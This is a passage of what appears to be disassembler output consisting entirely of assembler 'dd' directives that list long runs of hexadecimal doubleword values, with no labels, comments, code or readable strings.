		dd 1FC9E903h, 403B984Fh, 0DBEF8F79h, 3B08C2C3h,	0B3AC8052h
		dd 0B1AF6C6h, 0A55E5770h, 6E8448D6h, 0AE807D97h, 5D3229h
		dd 0EFC09CF0h, 436B42AAh, 944439h, 0A16E6199h, 0EA3B221Dh
		dd 4FE0019h, 3589A2F1h,	9800A9EEh, 41CE6564h, 0D2B77Ah
		dd 0E227CD88h, 0A4059D8Dh, 12BBE301h, 1F44CEECh, 0E0CE7E21h
		dd 0E3B6026h, 78B1DFB7h, 5D9FB660h, 0A2030A99h,	0D7B572FEh
		dd 0C883944Eh, 0AF8DB08Bh, 0ED73005Fh, 6A0F1FF6h, 0A101082Bh
		dd 0C916B2DEh, 0DDE4B57Fh, 1BB000C7h, 930C2FE8h, 38005BD8h
		dd 7228D5CEh, 1C661374h, 1CCD36ADh, 9332C0B5h, 0E2DB01D3h
		dd 0E139C80Fh, 0ADAC00C5h, 329383Dh, 0C4BA4695h, 40C82191h
		dd 0BB0B6DBCh, 86DAC5h,	0C912894Dh, 5A8E0065h, 0E6AE818h
		dd 0CA00284Bh, 9E6BABD8h, 5E67D484h, 5616A051h,	0D2073A00h
		dd 0DE9591A0h, 1DD53BDBh, 7AF10F80h, 414B3CBBh,	0DEFB887Ah
		dd 0B8C0C860h, 0E982E100h, 46D05005h, 0F58D000Dh, 3A5946Ch
		dd 0A91C93BCh, 81C52ECBh, 0BF1DAA47h, 0E68C5500h, 6EA729h
		dd 0D901A304h, 4B061B34h, 23FAC000h, 0FB530EAFh, 641A4C6Dh
		dd 0A778460Fh, 0C7840CE0h, 7500D7A8h, 30E0B388h, 0E8DD93D3h
		dd 2A720036h, 5F34D2Fh,	0C801C20Ah, 90AA57D4h, 4880274Eh
		dd 95327D94h, 0F65C39C9h, 4F1E72A8h, 0BD40EBEDh, 5790941h
		dd 523C00B0h, 0D1DC6AE0h, 37025D3Eh, 30EB97EDh,	0C7C07746h
		dd 4805276Fh, 48D050Ch,	0AA92D000h, 26BBF958h, 40A426h
		dd 0C61FFA3h, 0CA00FD5Bh, 5CB990A8h, 3E697FF8h,	20042D3h
		dd 80B8DDA2h, 5807E481h, 0D4DC8CBAh, 0D7E5BD70h, 0DB7413h
		dd 4EEE19B1h, 14C6CB65h, 0D6000E73h, 73375F7Bh,	9CF725h
		dd 0CD029E3Bh, 97899AE8h, 0BE20F400h, 7607CECBh, 0C5E90008h
		dd 0F0F72D63h, 0A8004A80h, 0C2B921FBh, 98FFED04h, 7DBB0016h
		dd 0A976C0Dh, 890A2C93h, 94CFCD8Bh, 58DBCE00h, 733275Ah
		dd 88A32008h, 89E80212h, 0F5B05340h, 53070B00h,	31E38A5Bh
		dd 0BAD81CCBh, 0D5F441D2h, 0DC9E5665h, 0BB7B2BEFh, 283E900h
		dd 0C6CC88F2h, 98C4583Eh, 9B014E58h, 104DD99Eh,	7A408089h
		dd 1D64AA2Dh, 42713A8Bh, 0BD1F5EB8h, 198A40A6h,	0BAB6867Fh
		dd 34ADAA00h, 3C7B82CDh, 9978012Ah, 0E07E25BFh,	75F52058h
		dd 59180600h, 67DC08DBh, 45460797h, 0D350FB74h,	3888EFE5h
		dd 6200E379h, 0F8B26356h, 1720A70h, 0DF75E6C2h,	87764568h
		dd 20396119h, 1E8B9970h, 80BC03EAh, 0F0D8F40Ah,	0B6FC4ED0h
		dd 0B744BD00h, 8DC07C19h, 45CC0028h, 3739634Bh,	8200AC0Eh
		dd 568EC8B2h, 0F54A068h, 0FF5D291Fh, 6804D20h, 6301F0E1h
		dd 9B7D412Bh, 78D8F307h, 75840F97h, 0CF40342Eh,	705E54C0h
		dd 0F8071B24h, 0E7803501h, 3AD8CBD1h, 7BBA00D5h, 0B0E58422h
		dd 0FD000A2Fh, 172D40E6h, 5BD356h, 6475BC5Eh, 0A9AE0487h
		dd 0E62E8A00h, 0F256B993h, 99B0173Dh, 0B13800D1h, 3214E3E9h
		dd 0A9FEFB00h, 0F5072572h, 0DC4700ABh, 0B101453Bh, 59056A67h
		dd 0E79D09E9h, 6360BE18h, 0B643009Ah, 0B808111Fh, 4C1D34AEh
		dd 0D103408Ch, 0C0EC8B52h, 1628F02Bh, 0B0A7D2Ah, 64A0BEECh
		dd 5691EA52h, 13A4E357h, 0C004F11h, 389A3FABh, 8F4300DDh
		dd 0D1BB7B33h, 0C905F862h, 87773155h, 3E382C81h, 0A8ECE0h
		dd 1BE25F37h, 9B93C85Ch, 0AC0148F0h, 0CEB0C244h, 30A85031h
		dd 0A1020229h, 98E12919h, 85E888E3h, 26ECEDD0h,	0B04EFE07h
		dd 52B00835h, 91E65Ch, 0F63FCE18h, 6458E58Fh, 788E2B05h
		dd 0CC80024Ch, 0F3D906Ah, 484A6095h, 0FE213B00h, 2A12D461h
		dd 0BC5E1ADCh, 826ECEC3h, 9474B8A9h, 1D898C9h, 0D03DB032h
		dd 60722DFFh, 3909341Ch, 21919C3Bh, 82955168h, 6185E0E8h
		dd 0A68471FCh, 196860A9h, 1B580E00h, 21D01856h,	0FC66ECBCh
		dd 21A1621Dh, 1C805BE0h, 0F57DEEAh, 347E7C00h, 0E04382BAh
		dd 1610A0B7h, 2CA9709Bh, 1D718E33h, 0A76B0393h,	41C911ECh
		dd 0B6788F78h, 80F2871Bh, 54D02E45h, 1AD7BEh, 2AD22C28h
		dd 705797E5h, 20ABEE0Fh
		dd 0AF84C34Ch, 0D220FF30h, 3A9FD9DFh, 223CBBCFh, 97AD6C01h
		dd 0D042E4D0h, 5530307Ah, 0C8572934h, 0BF0200BAh, 0EFEEA81Fh
		dd 2938E884h, 0F8F50234h, 0C0AE30ECh, 2EB965ACh, 0EFFED9h
		dd 0C83F2EF1h, 7901754Bh, 0B69C5676h, 34C852FBh, 0B8DC00EDh
		dd 80D348FAh, 10007CD8h, 6E05F0C1h, 0FCAA01h, 0FEED4709h
		dd 0ED8B415h, 3EEBCE2Eh, 0A365600h, 3EE235h, 0F13BF489h
		dd 0F84CB961h, 96FA6E00h, 42432037h, 0BFDB0E82h, 2900D2F3h
		dd 90D514F6h, 779C1201h, 0DAC0E4F1h, 2D944FCh, 8BB34C99h
		dd 3EC05058h, 3E2CCE1Ah, 2303C452h, 0F860E3CDh,	1DFB7F73h
		dd 0C0374607h, 942A802Ch, 363CB5F3h, 78E8DB81h,	0CF704703h
		dd 0B7A050FCh, 3032CAFh, 38094521h, 63490073h, 0C0A84928h
		dd 2D24A97Bh, 0D90131C6h, 84556779h, 0BC765983h, 0A800B636h
		dd 0DD2F4FFFh, 1C667465h, 0C799E704h, 0B03E6913h, 61A68F07h
		dd 0EE736301h, 9E7FD290h, 601A1720h, 0B38640B8h, 0B590055Dh
		dd 7E6FDE72h, 3E1B2059h, 70A97AE6h, 210D0A66h, 40B0284Ch
		dd 0B6467C5Eh, 0D0414900h, 90E9AE66h, 0A6210FC0h, 61497AFDh
		dd 29016A87h, 6C1D8681h, 0E2C440C4h, 0F1C723A5h, 4020912Bh
		dd 37A390h, 0A48F3DC6h,	0D3C45D13h, 8644A000h, 0E67F3112h
		dd 0E2A77B6h, 271FA21Bh, 0A34AC7h, 0BEC212E1h, 3CACDBA0h
		dd 0A6D13Bh, 0A2492CA7h, 0FE6348h, 8BAE6C81h, 0BAD219B2h
		dd 87C06607h, 86909714h, 0EB0EB7h, 2F30CA4Bh, 0AD4D4F8Eh
		dd 5EEE132Dh, 0B2910069h, 74153C6Dh, 2FF27815h,	18B04F0h
		dd 0C28340CEh, 0EDD1007Eh, 0BD6462F1h, 0FF01056Ah, 8ED2C475h
		dd 4820E75Eh, 73DE2876h, 2C170084h, 4A8F4BCCh, 1800F30Dh
		dd 9CF96415h, 0E93811h,	672BC246h, 8563DFAEh, 5C0D5703h
		dd 0EC81FAF0h, 0E3167EC2h, 5F7680E5h, 1090E3h, 4140DF87h
		dd 502E93FEh, 6535EB0Eh, 323AC00Eh, 939198B5h, 2F803C24h
		dd 231879E7h, 0DB00AC7Eh, 8F0D2062h, 0CCEEE9h, 914E11D2h
		dd 0A62BF606h, 5F0ED3F2h, 0E07F62B8h, 59DFE0FEh, 3F867055h
		dd 0F9F453h, 89F8EE6Fh,	0F1E12EF6h, 3A0C3C00h, 0B5DD9511h
		dd 58A0080h, 9FD145A7h,	61009A8Ch, 5C4BD2DAh, 7DB36A0Eh
		dd 3A4601B1h, 0C40CF33Fh, 2FAC408Fh, 0E31231CBh, 0DC0E992Ah
		dd 7EA4A035h, 0C27F24h,	552730E7h, 2319EE1Fh, 8ADB7600h
		dd 5DFC9FA7h, 0E84800BEh, 3315A2CEh, 58242D6Eh,	0C3408C35h
		dd 70753EDEh, 0EAD9004Ah, 34F79005h, 8F048B0h, 1A795477h
		dd 0AE016000h, 37E5FAFFh, 0ED1E0911h, 90002AA6h, 2E077B4Eh
		dd 3A70C948h, 0DE481361h, 55916609h, 68159680h,	7A2CBB06h
		dd 0D201D91Ch, 95BFA489h, 0EC725ECCh, 5304006Bh, 30AF936h
		dd 5F129A0Fh, 8100D965h, 91CEF763h, 36080799h, 20A0592Ch
		dd 2680DEAEh, 4B8BE80Eh, 380B8050h, 0C0F4F04Ch,	49E5A310h
		dd 1700E109h, 39FD823h,	34EB4275h, 78F752h, 0A95B580h
		dd 0B7FA1BD7h, 0AFB49600h, 0F61A10DEh, 3A0300CDh, 516EAC40h
		dd 0E0002C60h, 0F2F54AE9h, 305B91h, 4FBB23D4h, 0BEC5310Bh
		dd 0D259A60Bh, 96A2006Dh, 0E226E1B1h, 0C8F4CDh,	0E4C105ABh
		dd 50C4BD65h, 2B6E5C00h, 0B64E73E8h, 3B7CB4h, 0D8A7EA7Dh
		dd 0E083FB71h, 645B2C13h, 0F0915800h, 698B022h,	7E93517h
		dd 330048F9h, 0D9B085Eh, 3DED6A1h, 0B5E354AEh, 0E5F99C13h
		dd 0CA91F44Ch, 1A406D00h, 9E9A5D64h, 0FD507AAh,	0D0A4C4A1h
		dd 0F1A3A572h, 0AF305402h, 0C0CFD9B0h, 75D307h,	72AA7FE3h
		dd 511C588Fh, 286CE9CAh, 3270C2C7h, 3F3DC76h, 0A3DA7D04h
		dd 0AF88A855h, 0D118674Fh, 6DF06FFAh, 582E2D9h,	60F201D6h
		dd 81F8000Dh, 23B41E7Dh, 0F0CE2B07h, 0E0CF45BAh, 2AD33980h
		dd 964800E8h, 0E6B5F8B8h, 0F7A092Eh, 95BFCD3Dh,	0C2707742h
		dd 0A0CCD8F3h, 8F949DDCh, 0BCC800E3h, 0E1F56E40h, 0CD0014F7h
		dd 0AC0FE2EFh, 0ADE08A2h, 3D862F20h, 18820CE8h,	0C24C4D51h
		dd 56F90092h, 0E3637ADEh, 0DD0800F0h, 6D47EE1Bh, 0D3026175h
		dd 369609F5h, 90963Bh, 85A1A7D5h, 0B6113137h, 5A5F24h
		dd 0B04C6186h, 25DF0050h, 24F9DB69h, 8B29F195h,	6B0AD094h
		dd 0A703F8F3h, 0E7B2F987h, 8BC57EB3h, 0A995D886h, 1B6A1E54h
		dd 0CE705DBh, 0FDDB8084h, 9448B5E8h, 98B2829Ch,	1F5044D7h
		dd 8906F1DAh, 4000781Eh, 1CF09DFCh, 5AA61812h, 0DD323C00h
		dd 7A91F8h, 124283EDh, 1459B23Ah, 2E2C3C00h, 9E1D3927h
		dd 0D9712B64h, 1BB080E8h, 6B02A1FAh, 3E08CA00h,	0CD9BF16Dh
		dd 10150127h, 876226C0h, 48C8C04Bh, 1FFF0F38h, 9C40290h
		dd 88809D40h, 5B1F97Ah,	99ABDB55h, 0D7AC2C74h, 7002A52Ah
		dd 90371524h, 8D0D7E00h, 4D278A9h, 4F4FD16h, 0B98C8087h
		dd 0EF045348h, 7734D3A7h, 0C256BC90h, 0D2C4A097h, 3E200124h
		dd 39D5D771h, 2642554h,	0A8417580h, 2C021E6h, 0C880FE1Ch
		dd 0ACDB8468h, 0DD805B50h, 0AD00C475h, 6F9034D9h, 563C86h
		dd 0C3828BFDh, 1594B397h, 41D00A03h, 0F80FC4E6h, 3BCD49A9h
		dd 0FB8610D3h, 699AB58Ah, 0A0E4CF1Dh, 6B303F62h, 0A9285394h
		dd 92019849h, 967C29A1h, 175731D3h, 70425088h, 1E0239E7h
		dd 1BF74AAh, 6F84F777h,	4C70C04Eh, 8F00A32Eh, 9F4B349Dh
		dd 0C76532h, 6DD6EC97h,	5E596BEh, 8CBD5904h, 3C922314h
		dd 36F06158h, 24083261h, 7F490096h, 0FC8A7711h,	753D0460h
		dd 0AEEC0064h, 0FB51913Dh, 0D3020040h, 4434F482h, 693FBA29h
		dd 7BC18254h, 7F0EB4F3h, 0F2C44881h, 0D11FE482h, 0C75FFD05h
		dd 82C00432h, 0AE8168h,	0A75AD607h, 19C67980h, 0A0D21100h
		dd 0C84CF4D3h, 599A1E95h, 23E480E0h, 0AEC10CB7h, 0E1FE3Ah
		dd 1B3FF8AFh, 62E443Ch,	9EA9C9E9h, 0F21C20C2h, 350032CCh
		dd 0B79ADD61h, 937B1845h, 68373038h, 3142071Dh,	5A3D0C5h
		dd 0C28CB680h, 3B4C00E6h, 618BE36h, 10C31947h, 90FBD3ECh
		dd 757E38h, 0C3D2E13Fh,	82791A80h, 51B818FAh, 57949DA0h
		dd 0BD5C0500h, 0F4304E4Bh, 93040F89h, 0F920880Bh, 0B64810EEh
		dd 0B924070Eh, 52418039h, 8E62D0h, 0F5A81B4Bh, 67451937h
		dd 22A0284Fh, 365B03EAh, 3C5F18EDh, 8A5AC000h, 3D55B4DAh
		dd 21707Ah, 8D8C8F44h, 3A5CBEA5h, 0CC3BC0Eh, 22E5416Ah
		dd 9C500638h, 0A0FB8AF2h, 545941FAh, 6CE98A2h, 0A68C8861h
		dd 0C905B03Dh, 521BCCBCh, 0FD7DE802h, 3CA880FFh, 0F84C7C15h
		dd 23C200F8h, 74D59D01h, 0D100A202h, 0F13F0620h, 0F717A8h
		dd 925C732Eh, 7B079B5Eh, 630017B0h, 467CA381h, 8A13AEh
		dd 4B227E76h, 82BAABF0h, 418037Ch, 11E98633h, 44BD00E8h
		dd 5ED52110h, 0C7004F3Fh, 0CD1F8AE4h, 0D2DD9Dh,	0A6633915h
		dd 7F055178h, 0D0AC2551h, 0E665F866h, 1AE5450h,	0AB445547h
		dd 0FB208035h, 9D8860Ah, 0B5D303C5h, 49FCB038h,	7B6020E0h
		dd 0F90A900h, 0E7989F5Ah, 44D500E2h, 0E163FC14h, 151834FAh
		dd 0A499AEBDh, 0DB8D01E6h, 2A5DB37Ah, 80DAD4F6h, 8563F8A0h
		dd 74A59C02h, 0A53FA39Ah, 0BC00A0A0h, 0BE2BABECh, 64FA497Eh
		dd 0EB3AB302h, 99402F84h, 6A4986B6h, 0CF851614h, 6E4D1001h
		dd 0E0575B9Ch, 66A42D0h, 201D00E3h, 0B2750715h,	6D138490h
		dd 0C70782A9h, 0A8DC280Eh, 87C80212h, 695C5A1Ch, 0FF519048h
		dd 2CC9A360h, 90DAB95Eh, 6CE800DCh, 647FFB9Bh, 1B07FF80h
		dd 76E42E1Fh, 84D024AFh
		dd 4F943C82h, 0CD21036Ch, 10051FF6h, 0A74DDB81h, 7974F855h
		dd 0ECD04054h, 0A2DC7354h, 8A627A24h, 0C3FA7900h, 77EA9E5h
		dd 0E42CA791h, 9F517C39h, 0C0FB32B8h, 80055E1Eh, 9287F8E1h
		dd 8CCF980h, 48DF7B30h,	0FAA09C3Ah, 6E0C314Ch, 0F94DB4F0h
		dd 0B6C72E96h, 4E1602EAh, 0D0454968h, 9AE01E00h, 1331C4FCh
		dd 6A978h, 7039955Ch, 1B04838Ch, 0A824B58Fh, 0BFD9CC0h
		dd 1D17097Ch, 0D102BEA2h, 0B89E09F3h, 3C54C401h, 0D989EB9Bh
		dd 0DF1ECDF0h, 87388078h, 5BA3B875h, 0EA1A1600h, 8FFB1F69h
		dd 98417F9Ah, 496B0EA4h, 22E02144h, 0FFD13308h,	6414B701h
		dd 52AE53A7h, 0FDC6F981h, 0C8292E76h, 790FFBD5h, 80425166h
		dd 7F50ADCEh, 776045Bh,	0C8BE370Dh, 3CF844E0h, 0AA56FE05h
		dd 0D18019E3h, 7E6D03C2h, 8E571D1Ah, 12E801A2h,	80974A1Eh
		dd 63C3DA2Eh, 60811136h, 0D838E9F5h, 0F7000D42h, 4FB23B09h
		dd 3401B16h, 0F6EA4C36h, 88E01A0Ch, 4B0F3834h, 0C0A0D935h
		dd 6391B19Fh, 87152h, 4F1EAFA1h, 658D066Bh, 8C860301h
		dd 0F8E280E9h, 114D7D0h, 43933B02h, 20626BF0h, 5200BB8Ch
		dd 0FD2CD013h, 13CD9FB4h, 40D32911h, 6E4C37C8h,	0A30F30E4h
		dd 609CF1BDh, 0FBEE1643h, 5D1202A2h, 0C75197CEh, 0C56F481h
		dd 0B73AE020h, 8033E23Fh, 6AA74E08h, 772D49Bh, 0D026F71Dh
		dd 4B614CA8h, 0E8E5FA05h, 7489460Fh, 0F50C30h, 5767FD0Eh
		dd 35D52D4Ah, 79734116h, 77D2DD00h, 304794h, 92F6066Dh
		dd 75D3EECAh, 56DB8F0Eh, 0A01C53BEh, 4A44466h, 0AC67800h
		dd 0DE638D1Dh, 199260h,	8C6FF664h, 1A125CADh, 8C006035h
		dd 2C0FC89h, 5D0702E1h,	709A9724h, 9C64D462h, 0B09E8A1Ch
		dd 0A7A94486h, 8C1D00B9h, 361BE039h, 2A0059CAh,	0E764FA21h
		dd 3D40CDA2h, 0E10FC162h, 0B260C69Bh, 75FD959Fh, 6ECE2CA0h
		dd 6A93850Bh, 0B1A10204h, 4A9C8046h, 9E29F78h, 48A9F6F0h
		dd 81DF2485h, 82568B80h, 0D0622766h, 0DD5C405Ch, 589E7CF3h
		dd 4D700D30h, 0C000E087h, 68F2BC7h, 5136A2Ah, 601E98CBh
		dd 0FAB68039h, 0A0971720h, 12690052h, 0FD154454h, 7EE09B72h
		dd 2008D613h, 1380C411h, 0B00FEC27h, 0A346C351h, 6F82E8F5h
		dd 2CE8A48Eh, 50408D37h, 10A820C8h, 740B4219h, 892C6762h
		dd 1288h, 63BE8B5Ch, 0E9200EFh,	0D60F59AAh, 0A10438F4h
		dd 1A5B1CF8h, 0A002CCCBh, 85934FA9h, 84AD9CEAh,	0FBA03499h
		dd 5918A060h, 981EA27h,	0E48D78B3h, 993BE700h, 34B2EE90h
		dd 4F771F00h, 48078950h, 0CA2B0060h, 6BE7CE44h,	3348343Ah
		dd 0B4DE034Ch, 0F0941FC3h, 0E895769Eh, 4BD60035h, 1CC76322h
		dd 48A08560h, 6C268C0Dh, 0A1E13CDAh, 0C3C4BD7Ch, 0E5392E48h
		dd 93AE8E94h, 0D75E0Ah,	571C402Fh, 715DA794h, 0C0944968h
		dd 0E7B088C5h, 0B36E01A8h, 4C345995h, 8C98E376h, 0F0E4A45h
		dd 0C3A2DAECh, 0C8E0EFEDh, 0ECC5C262h, 3AF81C17h, 378E8060h
		dd 0D52C4076h, 0B8D091h, 0DC9F0ED1h, 21F003h, 40ED5B98h
		dd 9EDFA359h, 0C28BA616h, 8C43D852h, 3BA82CAh, 0EA21EFE1h
		dd 70024DC4h, 488723ACh, 0C77CE872h, 2A8C9863h,	0BC8480h
		dd 35E407D9h, 907A4691h, 7322FF5Ch, 4BB07350h, 0FE2F0F12h
		dd 86052C43h, 0F11FE0E9h, 97380F8Ah, 9CB25198h,	0EF02279Ch
		dd 0BA6A1069h, 4E8C701h, 0AE096D59h, 2606A380h,	94301243h
		dd 4E5400D5h, 0C5E9B8F8h, 2024A3E0h, 88002C68h,	0FDFEEF53h
		dd 341B4CCCh, 5DFF1C04h, 7008A654h, 0DA1F350Ah,	7A01BC94h
		dd 83D7E454h, 0B9D3C0h,	5A277424h, 0CF883411h, 6B5EC31Dh
		dd 70FD00FBh, 0C8F191Bh, 614E0084h, 2247C1D6h, 58006779h
		dd 31E51051h, 1329D2DEh, 0EF1ADh, 63EC2088h, 4DE65A95h
		dd 9073B7Bh, 1BE8E626h,	4AE9CCA0h, 0DF6707A1h, 20D214FFh
		dd 0F149758Ah, 3CB994ECh, 240D0F03h, 2CD0D4A0h,	4A9811DFh
		dd 0F62C2C6Bh, 59E3E700h, 5F404F81h, 58BCB02Ch,	0E53F7A3Ch
		dd 68638580h, 0B449C5A5h, 2501A479h, 43AAAEB1h,	1424F29Bh
		dd 591404E6h, 859DF454h, 0ECEC9D0Ch, 3D1C2145h,	4454AFEh
		dd 6CC16CAAh, 985232BAh, 0CDF44850h, 0B5E300E2h, 3627DAD5h
		dd 0F0081E4h, 736C4734h, 19C626h, 55DDD203h, 6041EE22h
		dd 0E0E153h, 9B5E9EA2h,	49D481D9h, 9C001492h, 0DD7704EDh
		dd 5CB8789Dh, 241658h, 0F3FBC44Ah, 93C42C7h, 3A66DB0h
		dd 3E1EDF00h, 94A09C37h, 53127082h, 0C704BB84h,	0ACD76317h
		dd 0C65E8E40h, 382B4AC2h, 0D82E5934h, 1CBAE827h, 44003F5Ch
		dd 0AE4AD064h, 0E88A00C4h, 34F02556h, 670057BCh, 8CC5B75Ah
		dd 0B1689A22h, 1BEC025Ch, 0AC9472FCh, 2C8E316h,	0B4F99C01h
		dd 0AEDC6E45h, 12880204h, 26C675A5h, 607C0040h,	4000984Ah
		dd 0BF2D922Bh, 9A6930BCh, 0D364A7B1h, 58983348h, 113C19h
		dd 9B465ABh, 7B16B8h, 620B9FFh,	2B050391h, 6956C8F2h, 56A10748h
		dd 3070C5C1h, 71E41F10h, 0E819517Ch, 7B579989h,	50B08864h
		dd 86F50900h, 0ED321189h, 0BE830729h, 92AE6D38h, 9C52BB44h
		dd 6300A373h, 2EC5526Eh, 170C037h, 0F5572930h, 0D3945191h
		dd 0F123C8E0h, 4A80D14Dh, 9980BC76h, 9C2428h, 5E3EE0BDh
		dd 64606BFBh, 68A6F5C9h, 8C050757h, 0D041677Ch,	981623F8h
		dd 0E9FF9B1Fh, 382E2D5Ch, 0AAA6D80h, 57F40D6Ch,	403814BEh
		dd 604A68CDh, 0BC136EFCh, 0E8F9A003h, 16FBF50h,	0B66AC319h
		dd 0CCDB8A8Bh, 4E010E60h, 3301005h, 0D080486Dh,	0A2F20407h
		dd 0A104DCCEh, 0A6ECAE1Ch, 583D68F2h, 0F28084D8h, 74B28145h
		dd 0C348AC09h, 3A2460EAh, 6EF52E12h, 0DDD6019Ch, 2434AFE2h
		dd 0A00414C0h, 5E7D93E8h, 37990E0h, 18FEC040h, 42E8AA82h
		dd 3F001BB9h, 638A913Eh, 0F852C2h, 0D7E7C8FFh, 1F045854h
		dd 70F44Ch, 0E586BD32h,	8CF09Ah, 56FAD2D4h, 687EFE63h
		dd 0CE5EC003h, 0C8D99852h, 4298BF0h, 0BFAC7D3Ch, 0B554D06Eh
		dd 3D01F186h, 3F06DB79h, 0B0380FD8h, 364BA082h,	690058EEh
		dd 47656630h, 6F6D24h, 0CA5138E3h, 845DA932h, 2009C8A2h
		dd 9DF94CC0h, 0AB7E89EEh, 35B6D100h, 5026FF5h, 36A713F1h
		dd 0C11800F7h, 48C74C5Dh, 10896825h, 4A287A2Ch,	0F71C0027h
		dd 63DD3133h, 702348h, 1ECE2991h, 812E12h, 2D4BE909h, 78C10F2Ch
		dd 0CD1C2600h, 743D3140h, 7E6A0495h, 0C0A33622h, 6DD6ED80h
		dd 0A8797614h, 80037C58h, 10F3CF9Dh, 0F505A098h, 0E83D54B9h
		dd 30490A2h, 0A673766Ch, 303E9338h, 8DEE0043h, 0ABDCC14Ah
		dd 55703E7Fh, 0B34FB17h, 7C2150D8h, 3CFDBC79h, 9AD10920h
		dd 33DF014h, 80487CA9h,	0CBC03F7Ah, 3B0076AEh, 423672DFh
		dd 3EA0F8C8h, 0B389C4A2h, 9CA72841h, 3548402Eh,	32007BC1h
		dd 0CD2CC347h, 1EB8347Ch, 0C0F7E38Fh, 566170A3h, 0B509FD9h
		dd 4101E098h, 0F1D61EEDh, 0A2CCECA6h, 37FEB893h, 0A2B043C9h
		dd 57237Dh, 1027F934h, 0B6A9005Fh, 0E4963B47h, 4D03E713h
		dd 91FC750Ah, 0C181E98Ch, 2D2B024h, 0C5F0FBE8h,	0AC6276FDh
		dd 0E478D362h, 0A25FA100h, 781DE791h, 9A4E1435h, 7900D4CBh
		dd 663C029h, 5E005040h,	1ACFB524h, 3308877h, 0C897C126h
		dd 6B8A62CBh, 227E78E8h, 0EEDCC082h, 30254DBDh,	69033D06h
		dd 0B42720E2h, 0C4B8A8BAh, 0BE42B983h, 916FA079h, 491AF249h
		dd 796C70h, 0D73C77CCh,	31223FBh, 0D9B78230h, 26DF22E0h
		dd 0E81750h, 0F3117D5Dh, 0CC02A64Fh, 0D7F80623h, 0CACCA503h
		dd 6C7474B1h, 0A82F0010h, 6F01CC9Bh, 37341EABh,	0A8C0915Ah
		dd 29F4F7h, 347D76EDh, 6D162D56h, 0D8D44309h, 3C4CE55h
		dd 0E6A92D51h, 6A8865DCh, 826CDC5h, 0D1804848h,	6BAEC5Fh
		dd 50BE637Dh, 87C8FD8Eh, 0AF1E8086h, 106C6293h,	3D50EC6Ah
		dd 4CBD009Eh, 9B6ADFB0h, 901B7CDEh, 0F08117E9h,	0D6076Bh
		dd 2E11960Fh, 244F6658h, 0CAF02012h, 0F095D825h, 241814A0h
		dd 0AD806F43h, 64C5AC09h, 77C23800h, 0E8288280h, 1D6600EBh
		dd 0E001AB36h, 10B43DD2h, 0B4DF2C80h, 0EC5043h,	6B5CAF15h
		dd 0FB978C02h, 0F8C1A009h, 0D054CB18h, 0EECF86h, 0DF2725D9h
		dd 71ADFAD3h, 0C0588D2h, 64B68059h, 785E28h, 0FFBE56D6h
		dd 7D2D203Dh, 5AA6100h,	4DD5B277h, 89100B81h, 0DC8049B0h
		dd 5CFDDAD1h, 0E09CD38h, 0C0617621h, 0EF804C8Fh, 43930034h
		dd 0BFD966E3h, 0C3E4787Dh, 0DB122409h, 8B580214h, 1E64501Ch
		dd 0C46FD175h, 0E315884Fh, 4AD85818h, 222C8C70h, 833D1E66h
		dd 6981B959h, 73AA7F81h, 5D9C6CF6h, 5A34C014h, 779ACA6Dh
		dd 5F609BAh, 4C0D260h, 3B2EAF88h, 358E68CBh, 78F7ACB7h
		dd 2CEA4E83h, 0FA714E58h, 9465840Bh, 576C0048h,	4E9EA789h
		dd 6B5821C2h, 6630746Ch, 50828100h, 0C81DA2EFh,	0F32A00A6h
		dd 25AFD765h, 7800A338h, 0D4F42B17h, 139BDA30h,	0D07A9485h
		dd 41289354h, 58E4A500h, 0FDD305B3h, 0C081FF71h, 3091B7BDh
		dd 6EA860C1h, 9E74B514h, 0B45B24D7h, 0AA684500h, 0BC1F1F9h
		dd 97642D85h, 84675409h, 8000B8A2h, 9F534578h, 0F5E1B4h
		dd 8AEC713Eh, 0ADC70BB3h, 5EA18700h, 55BC9175h,	0EECB033Dh
		dd 791F35FFh, 3AD09EABh, 145AFE59h, 0D500B5BCh,	44EAA202h
		dd 120FC453h, 220C097Ah, 4085FFA0h, 0E6631184h,	1F5C1DDEh
		dd 34A7C2h, 7060BB00h, 0E8DF467Ch, 0F9E2AA0h, 169E8F4h
		dd 0CEAEB110h, 813527F8h, 7F2D3A38h, 0B07D5223h, 29E1D587h
		dd 0B3D35CA0h, 656591E6h, 0B2DA58h, 0B16743A0h,	1932C130h
		dd 2B0E53Fh, 8A96D9CEh,	98680970h, 695D0DA8h, 0BC4CD4h
		dd 17498EAh, 18E0FEDh, 83E2A7D8h, 0D960ACA9h, 0D2187CBEh
		dd 0C2F82020h, 0BD8E003Eh, 1BE98BCBh, 0EB5C76F7h, 0BA586B2Ch
		dd 4DE41040h, 0C9A500CAh, 40D26953h, 0CE0A30AAh, 1C890CB4h
		dd 0B780A740h, 92B20073h, 6C53E66Ah, 81C93FB1h,	8704511Ah
		dd 0E0D2CF38h, 0DB15A4B4h, 2EFDF148h, 0D13CEB58h, 103D60h
		dd 0F210E0A9h, 0FBB0368h, 0D0FCDC84h, 8494D509h, 848C116h
		dd 0EB24E0C0h, 5B330596h, 42C7FE47h, 8F66CC4h, 0B803D0EBh
		dd 7CCFD412h, 0D3A3B8AFh, 6A432F76h, 4D9D98A1h,	17F038DAh
		dd 0AA005811h, 614E7EA2h, 0F2A503E3h, 0D1AA3AD8h, 23BED981h
		dd 26C93EDCh, 3C2A276Dh, 1849A716h, 0E0F8E0C2h,	246F9E84h
		dd 0D8D94Eh, 0B953BCC4h, 0C713881Dh, 0D82048A4h, 786428EBh
		dd 0CCDB0505h, 0C020C445h, 4BA3B5B7h, 0FD01BC9Eh, 0E94818D8h
		dd 0B3246028h, 0EA810E7Eh, 73448441h, 0C084389Dh, 3501C806h
		dd 0BA890065h, 92B9E025h, 8016473Bh, 0A8D07D73h, 2455C59Ah
		dd 2C68A1BBh, 0E8E40F8h, 3309638Ah, 53540C4Ch, 4094A744h
		dd 996EB715h, 24481684h, 0AC70C020h, 7710903Eh,	16127CFEh
		dd 0C6988747h, 0E33D487Ch, 4A8984B8h, 84D0D994h, 1FA6C71h
		dd 0AEBE6337h, 347AB8F2h, 0C209C1ACh, 32CB8701h, 962C447Ch
		dd 67225080h, 7DF0F052h, 4FE33A00h, 39FA1B08h, 24C7513Bh
		dd 0C5C4A080h, 4E0F4F6Eh, 0C97B9309h, 0B8BC80A7h, 699A5A4h
		dd 0C2693B62h, 8800A9DDh, 1357598Eh, 9BA8D5Fh, 3C35F507h
		dd 9C00684Ah, 0FDCF1020h, 2B03FA2Dh, 0C4302144h, 0C024DEEFh
		dd 21ECA881h, 1EE80749h, 556A61B0h, 2406C062h, 2F009FEAh
		dd 83602898h, 14A20177h, 24880B96h, 0D30D0F00h,	72B84CC2h
